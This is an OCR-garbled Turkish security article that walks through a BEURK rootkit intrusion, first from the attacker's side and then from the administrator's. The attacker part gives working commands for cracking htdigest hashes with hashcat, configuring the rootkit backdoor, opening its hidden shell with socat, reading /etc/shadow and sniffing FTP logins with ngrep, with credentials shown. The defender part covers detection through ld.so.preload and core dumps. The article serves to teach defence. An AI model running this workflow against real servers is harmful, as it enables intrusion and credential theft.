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Gizliligin Anatomisi

Sistem giivenligini tehlikeye diisiiren bulgunun tespiti neticesinde sisteme sizma kaginilmazdir.
Sizma sonucunda sistemde yer edinen saldirganin amaci bilgisayar sisteminde daha uzun siire kalip,
kendince gerekli gozlemleri gergeklestirmektedir.

Sisteme sizmay1 basaran kisi bu amaglarini nasil ger¢eklestirecektir?

Temel hedef yonetici(rootid=0) konumuna gegme isleminden sonra sisteme "Rootkit"' entegre

etmektir. "Rootkit" entegrasyonunu basari ile saglarsa gizli olarak bir¢ok islemi gerceklestirir.

"Rootkit" tabiri sistem giivenligi literatiiriinde 6nemli bir konuma sahiptir. Gliniimiizde bu kadar
cok kullanilmasinin sebeplerinden biri ve en 6nemlisi sisteme entegre edildikten sonra sistem
yoneticileri tarafindan zor tespit edilmesidir. Kullanilan "Rootkit" yapis1 geregi tamamiyla saldirganin
aktif olarak gergeklestirdigi islemleri sistemde gizlemektir, gdzlerden uzak tutmaktir.

Gergeklesen bir saldir1 sonucunda sistem iizerinde olabilecek durumlarin neler oldugunu hem

saldirgamn, hem de sistem yoneticisinin ve |diliyle| olay1 inceleyelim.

Sisteme sizmaya basaran saldirgamn bakis agisi ve diliyle;

Sisteme sizma igslemini ger¢eklestirdim. Kendimi belli etmeden sistemde uzun siire kalmay1
basarmaliyim. Ne kadar uzun siire burada kalirsam o derece de farkli kollara dagilabilirim. Istersem
baska sistemlere saldirma islemi igin alt yap1 olustururum(Botnet Command and Control (C&C)®), istersem

sistemin band genisliginden faydalanarak “torrent” diinyasina agilabilirim(dosya download/upload).

Tacettin Karadeniz, Gériinmez Misafirler: Rootkit (Haziran 22, 2002)
https://www.olympos.net/belgeler/rootkit/gorunmez-misafirler-rootkit-126362.html
2 OpenDNS Security Whitepaper, The Role of DNS in Botnet Command & Control
http://info.opendns.com/rs/opendns/images/OpenDNS_SecurityWhitepaper-DNSRoleInBotnets.pdf



Oncelikle band genisligi hakkinda kiiciik bir fikir edinmeliyim.

linux$ wget -O speedtest-cli https://raw.github.com/sivel/speedtest-cli/master/speedtest_cli.py

linux$ chmod +x speedtest-cli

linux$ ./speedtest-cli -simple

Ping: 1.564 ms

Download: 900.67 Mbit/s

Upload: 600.06 Mbit/s

Bulundugum bdélgeye gore download/upload hizi ¢ok iyi. Dosya barindirma/dagitma igin birebir.
Tam konaklama yeri. Her ihtimale kars1 sunucuda bulunan diger kullanicilarin sifrelerini kirip elimde
bulundurmam lazim. Ileride ne olacag1 belli olmaz. Sistemde “htpasswd” dosyasina ulagsmam giizel
oldu. Tam istedigim gibi. Sistemde kullanicilarin kendi sahsi hesaplarinin altinda dosya kontroli i¢in
web ara yiizii ayarlanmis. “htpasswd” dosyasinda tam istedigim bilgiler mevcut. “/ete/shadow’™ dosyasini da

bir kenarda saklayayim.

linux$ cat htpasswd

computer:rutorrent:f68b54aeffffl1ac01a82e544e9ec898

myworld:private:03f06e58c49d280dc2aa23858feceeal

extingguisher:rutorrent:f4c4fad4cd42a68d3bf525c42066bb0c

microline3321:rutorrent:fd9eb72a702a44cel72f46434ee0df93

Odayzero:rutorrent:480343f75aa75375b645a5e3c658ad2b

superbox:rutorrent:ae4e6ef9eald645f8d31a50f30348f14

apache:rutorrent:ecc8fc57664569e3146182cec058ee30

r00t:superuser:2c497b2639f7230d4ffaf7df7b0243eb

oldman67:private:22612bd5025ddd8ala52fcbaaa9ce3asd

arnborg:rutorrent:e8e9ee430087a778a1170abff75559d1

heroes:rutorrent:51629f4075b0b13089¢193f75ab72915

“htpasswd” dosyasi1 "htdigest" ile olusturulmus. Kullanicilarin sifrelerini kirmak icin belli bir

prosediiriin digina ¢ikmam gerekecek anlagilan. Kirma iglemini hizli bir sekilde gergeklestirmek icin
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ekran kartimin giiclinden yararlanmaliyim. Bu islem i¢in “hashcat’ benim i¢in vazgecilmez olacak.

3 shadow

http://belgeler.gen.tr/man/man5/man5-shadow.html

4 htdigest, manage user files for digest authentication
https://httpd.apache.org/docs/2.2/programs/htdigest.html
> hashcat

http://hashcat.net/oclhashcat/



R:\cudaHashcat-1.37> htdigest2john.exe htpasswd > sifre.txt

computer:Sdynamic_45f68b54aeffffllac01a82e544e9ec898SHEXS63616d70757465723a7275746f7272656e743a

myworld:Sdynamic_4503f06e58c49d280dc2aa23858feceea0SHEXS6d79776f726c643a707269766174653a

extingguisher:Sdynamic_45$f4c4fad4cd42a68d3bf525c42066bb0cSHEXS657874696e67677569736865723a72757467272656e743a

microline3321:Sdynamic_4$fd9eb72a702a44ce172f46434ee0df93SHEXS6d6963726f6c696€65333332313a72757467272656e743a

Odayzero:$dynamic_4$480343f75aa75375b645a5e3c658ad2bSHEXS$306461797a65726f3a7275746f7272656e743a

superbox:Sdynamic_4S$ae4e6ef9eald645f8d31a50f30348f14SHEXS7375706572626f783a7275746f7272656e743a

apache:Sdynamic_4$ecc8fc57664569e3146182cec058ee30SHEXS6170616368653a7275746f7272656e743a

r00t:Sdynamic_4$2c497b2639f7230d4ffaf7df7b0243ebSHEX$723030743a7375706572757365723a

oldman67:Sdynamic_4$22612bd5025ddd8ala52fchaaadce3a4SHEXS6f6c646d616e36373a707269766174653a

arnborg:Sdynamic_4$e8e9ee430087a778a1170abff75559d1SHEXS61726e62672673a7275746f7272656e743a

heroes:Sdynamic_4$51629f4075b0b13089c193f75ab72915SHEX$6865726f65733a7275746f7272656e743a

“cudahashcat” kullanimi igin sifre dosyasini uygun formata getirmeme az kaldi. “htdigest2john”
dosyasi ile doniisiim islemi ile bagladigim siireci gerekli diizenleme ile bitirmem gerekiyor.
Olusturdugum “sifre.txt” dosyasini diizenledikten sonra “cudahashcat™ rahatlikla kullanabilirim.
“sifre.txt” dosyasinda yer alan “kullanici ad” ve “dynamic_4” kisimlar1 ayiklayip “$SHEXS$”

€@,

boliimiinii de “:” ile degistirdim mi iglem bitmistir.

“kelimelerim.txt” dosyasini olasi sifreleri barmdiran diger adiyla “wordlist” dosyasi hazirda
beklemektedir.

“cudahashcat”i kullanma vakti:

R:\cudaHashcat-1.37> cudaHashcat64.exe -m 20 --hex-salt sifre.txt kelimelerim.txt

Watchdog: Temperature abort trigger set to 90c

Watchdog: Temperature retain trigger set to 80c

Device #1: Kernel ./kernels/4318/m00020_a0.sm_21.64.cubin

Generating dictionary stats for G:\WordList_Sozluk\kelimelerim.txt: 2013206220 ...

Generating dictionary stats for G:\WordList_Sozluk\kelimelerim.txt: 2044058553 ...

[s]tatus [plause [rlesume [b]ypass [q]uit =>

Added hashes from file sifre.txt: 11 (11 salts)

e8e9ee430087a778a1170abff75559d1:61726e62672673a72757467272656e743a: 00myheroes00

f68b54aeffffl1ac0lag82e544e9ec898:636f6d70757465723a7275746f7272656e743a: helloman

03f06e58c49d280dc2aa23858feceeal:6d79776f726c643a707269766174653a: mycity




Sunucuda bulunan kullanicilardan bazilarmnin sifrelerini kirmay1 basardim. Islem tamamdir. Yedekte

sifre bulundurmak her zaman ise yaramaktadir.

Evet, sifrelerde tamam. Sira geldi gizlenmeye. En iyi yollardan biri “Rootkit” tir. Giincel Rootkit
olarak “beurku® kullansam iyi olacak. Sistem yoneticisi fazla ugrasmazsa tespit edilmem zorlasir.

Tespit edilirsem de sanirim elde ettigim sifrelerle kendime yeni bir yol haritasi ¢izmem gerekecek.

0Odayzero@linux:~/_BEURK_$ Is -la

-rw-r--r-- 1 Odayzero Odayzero 1787 Nov 23 13:29 beurk.conf

-rwxr-xr-x 1 Odayzero Odayzero 4546 Nov 23 10:58 client.py

-rw-r--r-- 1 0dayzero Odayzero 46 Nov 23 10:58 .coveralls.yml

drwxr-xr-x 2 Odayzero Odayzero 4096 Nov 23 13:35 includes

-rw-r--r-- 1 0Odayzero Odayzero 4083 Nov 23 10:58 Makefile

-rw-r--r-- 1 Odayzero Odayzero 2679 Nov 23 10:58 Makefile.dep

drwxr-xr-x 3 root root 4096 Nov 23 13:35 obj

-rwxr-xr-x 1 0Odayzero Odayzero 11119 Nov 23 10:58 reconfigure

drwxr-xr-x 3 Odayzero Odayzero 4096 Nov 23 13:35 src

drwxr-xr-x 4 Odayzero Odayzero 4096 Nov 23 10:58 tests

-rw-r--r-- 1 0dayzero Odayzero 565 Nov 23 10:58 .travis.yml

drwxr-xr-x 2 Odayzero Odayzero 4096 Nov 23 10:58 utils

drwxr-xr-x 2 Odayzero Odayzero 4096 Nov 23 10:58 vagrant

“beurk.conf” dosyasini kendime gore diizenledikten sonra “Rootkit™i sisteme entegre ettigimde
islem biter. “beurk.conf” dosyasinda uzaktan baglant1 {arkakapi/backdoor} i¢in gerekli
konfigiirasyonu yaptim. Sisteme kurdugumda istedigim zaman kullanici sifrelerini kullanmadan
backdoor araciligi ile sisteme baglanabilirim. Ayrica sisteme yiikledigim dosyalar1 gézden korumak

icin Rootkit konfigiirasyon dosyasina(beurk.conf) hangi dizinin gériinmeyecegini belirttim.

Sistemde olusturdugum BEURK adli dizinin gériinmemesi i¢in gerekli ayarlar1 yaptim. Artik
Rootkiti aktif ettigimde istedigim dizin gézlerden uzak olacak ve backdoor vasitasiyla sistem

baglanabilecegim. Kirdigim sifrelerde yedekte kalsin.

% BEURK Experimental Unix RootKit,

https://github.com/unix-thrust/beurk



Herhangi bir giin...

Sunucuya yerlestirdigim Rootkit araciligi ile gizli bi kapidan baglanmanin vakti geldi. Bunun igin

“socat” aracini kullanip gizli bir sekilde baglanmaya deneyeyim.

C:\Users\attacker\Desktop\socat -,raw,echo=0 TCP:ROOTKIT_IP_ADRESS:3005,bind=:64385

Rootkit kurulum esnasinda konfigiirasyon “beurk.conf” dosyasina tammladigim sifreyi yazdigimda

baglant1 saglanacaktir.

C:\Users\attacker\Desktop\socat -,raw,echo=0 TCP:ROOTKIT IP_ADRESS:3005,bind=:64385
Welcome to BEURK's hidden shell ...

root@linux: /home/0Odayzero/ BEURK #

Bingo!!!

“Rootkit”im halen aktif. Giizel bir haber. Birka¢ inceleme yaptiktan sonra sunucudan ¢ikayim.

C:\Users\attacker\Desktop\ socat -,raw,echo=0 TCP:ROOTKiT_IP_ADRESS:3005,bind=:64385
Welcome to BEURK's hidden shell ...

root@linux: /home/0dayzero/ BEURK # pwd

/home/0Odayzero/ BEURK _

root@linux: /home/0Odayzero/ BEURK # id

uid=0(root) gid=0(root) groups=0(root)

root@linux: /home/0dayzero/ BEURK # cat /etc/shadow
root:36$7uW6qY Oy$jhkjhUYJTHjhBNMFtY UOI89273889nvbvgfT/78809876utuytr54765876uyt6876868 7bvbnvchgf:16730:0:99999:7:::

root@linux: /home/0dayzero/ BEURK_# ngrep -wi -d eth0 'user|pass' port ftp or port 24




interface: eth0 (ROOTKIT _IP)

filter: (ip or ip6) and ( port ftp or port 24 )

match: ((“user|pass\W)|(\Wuser|pass$)|(\Wuser|pass\W))
HitHt

T ROOTKIT IP:41431 > IP_ WEBHOSTING:24

USER webhostinguser000

HtH
T ROOTKIT IP:41431 > IP_ WEBHOSTING:24

PASS qLkMuTgYn8.91

Inceleme sonug vermeye basladi. “ngrep™’ araciligi ile sunucu iizerinden baska bir sisteme ait
FTP baglantis1 tespit ettim. Webhosting firmasina ait bir kullanic gibi goriinmekte. Ileride bu
kullanici ady/sifreyi bagka bir amag igin kullanabilirim.
USER webhostinguser000 , PASS qLkMuTgYn8.91 bildirimi kullanici/sifre argivime yeni bir ekleme

daha yapmam gerektigine ait bir sinyal... Biraz daha bekleyeyim, bakalim neler olacak....

Yukari anlattigim kisim daha 6nce ifade ettigim gibi saldirganin bakis acis1 ve dilinden bir anlatim

durumudur. Durumu sunucuyu kontrol eden, yoneten kisinin bakis agisiyla incelemeye ¢aligalim.

Sistem yoneticisinin bakis agisi ve diliyle;

Sunucuda hesab1 olan bir kullanici Deluge Web ara yiiziinde kendisinin tanimlamadigi bir dosyanin
yiiklenmeye ¢alisildigini, sonrasinda indirilmeye ¢alisilan bu dosyanin silindigini ifade etti. Anlik

olarak bu durumu fark etmesi ilging. Acaba sunucuda bir gariplik olabilir mi?

;
ngrep — network grep
https://github.com/unix-thrust/beurk




nmap --script=sniffer-detect SERVER_IP

Host script results:

|_sniffer-detect: Likely in promiscuous mode ( tests: “11111111”)

“nmap”® araci ile kiigiik bir test yaptigimda ¢ikan sonug kesin bir sonu¢ mu? Sistemde cidden bir
sniffer’ olabilir mi? Biri root yetkisini elde edip kullanicilarm baglantilarini inceleme sansini

yakalamis olma olasilig1 mevcut mu? Sifreleri elde ge¢irmis midir?
Kiigiik(!) bir sonug, diisiinceler igerisinde kaybolmama neden oldu.

Incelemeye devam etmeliyim.

addrconf]

8 Nmap: the Network Mapper
https://nmap.org/
 SANS Institute, Packet Sniffing In a Switched Environment,

https://www.sans.org/reading-room/whitepapers/networkdevs/packet-sniffing-switched-environment-244



Sistem ¢alisan uygulamalari(ps), yliklii Kernel modiillerine baktigimda(lsmod) dikkat ¢eken bir durum
goriinmilyor. Acaba; sistem bir saldirgan tarafindan ele gegirildiyse “netstat” komutunun beni
yaniltma sans1 var mi?

# strace netstat 2> &1

ODENT (Mo
HHF _PRIVATE |MAP

IFREG | 075"
FROT_READ

FPHT PEHD

“netstat” komutu icrasi esnasinda neler déndiigiine baktigimda dikkatimi;
open(““/lib/libsecurity.so”,..)
satir1 ¢cekti. Bu dosyada neyin nesi?

“netstat” neden bu dosyaya ihtiya¢ duyuyor ki?
“/lib/libsecurity.so” dosyasina bakayim.

# Is -la /lib/libsecurity.so

Is: cannot Access /lib/libsecurity.so: No such file or directory

ls: ; SECL : Mo such file or directory

such file or directar

1 11:1 I0[=
[

# file /lib/libsecurity.so

/lib/libsecurity.so: cannot open '/lib/libsecurity.so’ ....(!!1!!!!



Stipheli dosyay1 incelemeye(basit bir sekilde) calistigimda dosya hakkinda net bilgi elde edemedim.

Dosya hakkinda durum bilgisi almaya c¢alistigimda sistemin kararsiz oldugunu algiladim. ilging bir

'Bu gizliligin temel sebebi nedir?” Sorusu kulaklarimda uguldamaya neden oluyor.

Incelememe devam ediyorum. ..

Sistem ¢alisan uygulamalara tekrar bakmam gerekiyor. Kiigiik bir ip ucu ile bu gizliligi agiga

¢ikarmam lazim.

oot
oot
oot
oot
oot
oot
oot
oot
oot
oot
oot
oot
oot
oot
oot

larning:
o Jou n

Calisan uygulamalari inceledigimde bir siirecte “/bin/sh —c /sbin....” bildirimi dikkatimi ¢ekti.
Hafiza(memory) durumunu bir inceleyeyim.

# gcore 505

Saved corefile core.505

Siiregteki hafiza durumunu inceleyeyim.

# strings core.505
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[0-9f-Fa-f]

_BEURK_
BEURK ATTACKER=true
beurkroot

tongel

Bu kelimeler hig iyi bir kelimelere benzemiyor.

Hafiza dokiimiinii incelemeye devam ediyorum.

s hidden shell ...
11

Diisiinceler.. Derin diisiincelerde kaybolmalar. Sisteme bir Rootkit enjekte edildigini goriilyorum.

Sistemin i¢ kale duvarlarina bir delik agildig1 fark ediliyor.

11



“Welcome to BEURK’s hidden shell ...”

Rootkit araciligiyla gizliden gizliye her an islemlerin gergeklesecegi belli oldu. /lib/libsecurity.so
dosyasi ana dosya. Gizliligin temel kaynagi. Bu dosya sisteme yiiklendiginde gizliligin aktif hale
geldigi belli. “Rootkit” gizli bir dizini giin agigma ¢ikartmadigi kesin. “ BEURK ” bir gizli dizin mi?

“tongel” kelimesi neyi ifade ediyor?
Oncelikle “libsecurity.so” dosyasinin sistemde aktif olmasimni engellemeliyim

“netstat” uygulamasinin ¢alismasini takip ettigimde “/lib/libsecurity.so” dosyasindan dnce ““/ete/ld.so.preload”

dosyasimna erisim ger¢eklesmekteydi. Bu dosyayi1 kontrol edeyim.

# cat /etc/ld.so.preload
/lib/libsecurity.so

Hemen bu dosya igerisindeki “libsecurity.so” satirimi kaldirayim.

Hafiza dokiimiinde buldugum kelimelere iligkin arastirmaya devam ediyorum.

# find / -name “*BEURK*” —print
/home/Odayzero/ BEURK

Temel besin kaynagi ortaya ¢ikti. /ome dizinindeki odayzero kullanict dosyalarini inceliyorum.

Incelemede BEURK  dizinini goriiyorum.

urk.conf

HAWGELOG. txt
-1 Py

ONTRIBUTING.md

itignore

Sunucuya aktarilan ve Rootkit tarafindan gizlenen dosyalar ortaya ¢ikt1.
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“beurk.conf” dosyasina bakiyorum.

LIBRARY_NAME = libsecurity.so

INFECT_DIR =/lib

XOR_KEY = 0xfe

DEBUG_LEVEL =0

DEBUG_FILE = /dev/stderr

MAGIC_STRING = _BEURK

PAM_USER = beurkroot

LOW_BACKDOOR_PORT = 64830
HIGH_BACKDOOR_PORT = 64840
SHELL_PASSWORD = tongel

SHELL_MOTD = Welcome to BEURK's hidden shell ...
SHELL_TYPE = /bin/bash

HIDDEN_ENV_VAR = BEURK_ATTACKER
_ENV_IS_ATTACKER = BEURK_ATTACKER=true
_ENV_NO_HISTFILE = HISTFILE=/dev/null

_ENV_XTERM =  TERM=xterm

_UTMP_FILE = /var/run/utmp

_WTMP_FILE = /var/log/wtmp

PROC_NET_TCP = /proc/net/tcp

PROC_NET_TCP6 = /proc/net/tcp6

PROC_PATH = /proc/

SCANF_PROC_NET_TCP = %d: %64[0-9A-Fa-f]:%X %64[0-9A-Fa-f]:%X %X %1X:%IX %X:%IX %X %d %d %lu %512s\n
ENV_LINE = %s/environ

MAX_LEN =4125

Rootkitin sistemde agtig1 backdoor sifresi de yapilandirma dosyasinda belirtilmis(password: tongel).

Durum ortada....




Sonug

Bir sistem ag¢isindan gergeklesebilecek potansiyel etkiyi hem saldirgan géziinden hem de sistem

yOneticisi goziinden incelemeye ¢aligtim.

Saldirgan, buldugu agik vasitasiyla “root” yetkisini elde edip, sunucuda barindirilan kullanici

hesaplarmi takipten sonra yeni kaynak arayigina girmistir.

Nedir bu kaynaklar?

e Sunucuda tammli kullanicilarm takibiyle bu kullanicilarin baglandiklar1 diger sunucularin
sifrelerini elde etme,

e Sunucuyu WEB Proxy olarak kullanmak i¢in gerekli ayarlarin yapilmas,

e Dosya sunucusu olarak kullanmak i¢in gerekli diizenlemelerin yapilmasi,

e Torrent amagl kullanim i¢in diizenlemelerin yapilmasi.

08.12.2015
Tacettin Karadeniz

tacettink{@}olympos.org
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